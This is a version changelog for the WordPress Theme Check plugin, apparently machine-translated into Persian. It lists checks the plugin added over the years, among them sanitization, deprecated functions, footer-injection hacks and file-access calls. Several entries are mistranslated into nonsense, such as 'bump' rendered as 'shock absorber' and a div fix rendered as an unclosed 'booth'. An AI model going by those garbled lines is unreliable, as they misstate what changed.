  • انتشار برای 4.4 توابع منسوخ شده.

20140929.1

  • چک‌ها و به‌روزرسانی‌های جدیدی از فرانک کلاین در Automattic اضافه شد. ممنون فرانک
  • لیست های عملکرد منسوخ شده به روز شد
  • بررسی سفارشی‌ساز: برای امنیت، همه add_settings باید از تماس‌های sanitization استفاده کنند
  • بررسی قلمرو افزونه: طرح‌های زمینه نباید انواع پست یا طبقه‌بندی را ثبت کنند یا برای محتوای پست کد کوتاه اضافه کنند.
  • ابزارک ها: تماس های register_sidebar باید از قلاب اقدام widgets_init فراخوانی شود
  • عنوان: برچسب ها باید وجود داشته باشند و نهچیزی غیر از فراخوانی به wp_title() در آنها وجود دارد
  • CDN: بررسی استفاده از CDN های رایج (فقط توصیه می شود)
  • توجه: URI های افزونه و نویسنده به دلیل نامعتبر بودن URI های قدیمی تغییر کرد. اینها ممکن است در آینده دوباره تغییر کنند، URIهای سایت خودم فقط موقت هستند.

20131213.1

  • خطاهای اصلاح شده توسط افزونه نمایش داده نمی شود و به اشتباه نتیجه "گذر" را به همه چیز می دهد.

20131212.1

  • به روز رسانی برای 3.8
  • اکثر فایل‌ها برای پشتیبانی بهتر از I18N تغییر کرده‌اند، بنابراین فایل‌های زبان به‌طور موقت حذف شدند تا ترجمه مجدد انجام شود.

20121211.1

  • به روز رسانی برای 3.5
  • دکمه پی پال را حذف کنید

20110805.1

  • چک های TimThumb حذف شد.
  • اکنون اسکرین شات در نتایج، با اندازه و ابعاد فایل پیش‌نمایش شده است.

20110602.2

  • توابع لیست فایل جدید پوشه های مخفی اکنون قابل شناسایی هستند.
  • بهتر است چک ها را باز کنید.
  • ضربه گیر نسخه Tim Thumb

20110602.1

  • بررسی سبک پایان خط DOS/UNIX اکنون یک الزام برای آپلود تم مناسب است.
  • دست انداز نسخه Timthumb
  • چندین اصلاح گزارش شده توسط GaryJ
  • 3.2 توابع منسوخ اضافه شده است

20110412.1

  • Regex را برطرف کنید
  • بررسی آخرین هک تزریق فوتر اضافه شد.
  • برای استفاده صحیح از عملکرد محتوای جدید، برچسب‌ها را رفع کنید
  • همگام سازی تمام تغییرات ایجاد شده برای بررسی تم آپلودکننده wporg.
  • به روز شده چک پست 3.1. بررسی اسکرین شات را به svn اضافه کرد.
  • بررسی پیوندها را برطرف کنید تا در برخی موارد خرابی نادرست را برگردانید
  • rm یکی از چک هایی است که در آپلود کننده wporg مشکل ایجاد می کند (و همچنین غیر ضروری است)
  • توابع غیر ضروری را از checkbase به main.php منتقل کنید.
  • فقط تغییرات جزئی قالب بندی (فاصله و غیره)
  • بررسی wp_link_pages() + fix eval() را اضافه کنید

20110219.2

  • ابزارهای جدید رابط کاربری Gua Bob ادغام شدند
  • آخرین تم آزمایش شده همیشه در لیست تم ها از قبل انتخاب شده است.
  • رفع خطای php در admin_menu.php

20110219.1

  • برای تغییرات به گزارش commit مراجعه کنید.

20110201.2

  • رفع اشکال UI لوازم پست فروم Mamaduka.
  • Textdomain برای twentyten و no domain چک می کند.
  • دیو بسته نشدن غرفه Mamaduka را رفع کنید.

20110201.1

  • i18n کار می کند
  • sr_RS de_DE ro_RO از دانیل تارا و امیل اوزلاک استفاده می کند.
  • پشتیبانی تم کودک اضافه شد، بررسی هایی که در زمان اجرا علیه والدین و فرزند انجام می شود.
  • دکمه قالب‌بندی تراک برای بازبینان اضافه شد.

20101228.3

  • آخرین ویرایش برای 3.1 (امیدوارم)
  • پیشنهاد تراشه‌ها برای بررسی درج searchform.php (نه
    در عین حال عالی است، به نمونه های بیشتری برای جستجو نیاز دارید).
  • add_theme_page مورد نیاز است، بقیه علامت‌گذاری شده و با خط نمایش داده می‌شوند
    شماره.
  • بیشتر بین المللی شده است، اکنون به ترجمه نیاز دارد.
  • رفع اشکال.

20101228.2

  • بررسی منو اضافه شد.
  • ThemeURI AutohourURI به نتایج اضافه شد.
  • بسیاری از اصلاحات کوچک.
  • ترجمه شروع شد

20101228.1

  • بررسی فیلتر embed_defaults و بررسی داده های فایل شیوه نامه را برطرف کنید.

20101226.1

  • طراحی مجدد کل سیستم برای امکان همگام سازی آسان تر با آپلود کننده WordPress.org. بسیاری از اضافات/تفریق/تغییرهای دیگر نیز.
  • دستورالعمل‌های وردپرس 3.1 اضافه شد تا به نویسندگان تم کمک کند تا از سازگاری برای نسخه‌های آینده اطمینان حاصل کنند.

20101110.7

  • بررسی مجدد malware.php برای fopen و file_get_contents (INFO) اضافه شد
  • چند خطای شاخص تعریف نشده را برطرف کرد.

20101110.4_r2

  • اخطار ثابت: تعداد پارامترهای اشتباه برای stristr()

20101110.4_r1

  • اکو به suggested.php اضافه شد

20101110.4

  • فراخوانی تابع منسوخ شده به get_plugins() رفع شد

20101110.3

  • شاخص تعریف نشده ثابت شد.

20101110.2

  • گم شده< in main.php
  • بررسی های مشروط برای برچسب های License.txt یا License در style.css اضافه شده است
  • بهبود رابط کاربری